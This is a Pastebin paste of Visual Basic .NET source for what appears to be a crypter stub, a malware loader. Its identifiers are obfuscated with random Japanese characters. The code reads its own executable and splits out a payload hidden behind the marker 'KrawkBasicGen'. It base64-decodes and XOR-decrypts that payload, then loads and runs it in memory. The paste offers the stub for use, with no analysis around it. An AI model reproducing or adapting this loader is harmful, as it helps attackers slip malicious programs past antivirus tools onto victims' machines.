Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Module すのたっっ
- Const ェべっちの = "KrawkBasicGen"
- Dim 合すはのち() As String = Split(IO.File.ReadAllText(Reflection.Assembly.GetExecutingAssembly.Location), ェべっちの)
- Dim のち合のつ As Byte()
- Public xorkeyy As String = 合すはのち(2)
- Sub Main()
- のち合のつ = Xor_Decrypt(Convert.FromBase64String((合すはのち(1))))
- Dim のちつスつ As Object = Reflection.Assembly.Load(のち合のつ).EntryPoint.Invoke(Nothing, Nothing)
- End Sub
- Public Function Xor_Decrypt(ByVal 愛はのつち As Byte()) As Byte()
- Dim ちはべ私私 As Byte() = System.Text.Encoding.ASCII.GetBytes(xorkeyy)
- Dim 任ジつすべ As Integer = 愛はのつち(愛はのつち.Length - 1) Xor 112
- Dim べはジたた(愛はのつち.Length) As Byte
- Dim がべのェの As Integer
- For すのたっっ0 As Integer = 0 To 愛はのつち.Length - 1
- べはジたた(すのたっっ0) = (愛はのつち(すのたっっ0) Xor 任ジつすべ) Xor ちはべ私私(がべのェの)
- If がべのェの = xorkeyy.Length - 1 Then がべのェの = 0 Else がべのェの = がべのェの + 1
- Next
- ReDim Preserve べはジたた(愛はのつち.Length - 2)
- Return べはジたた
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement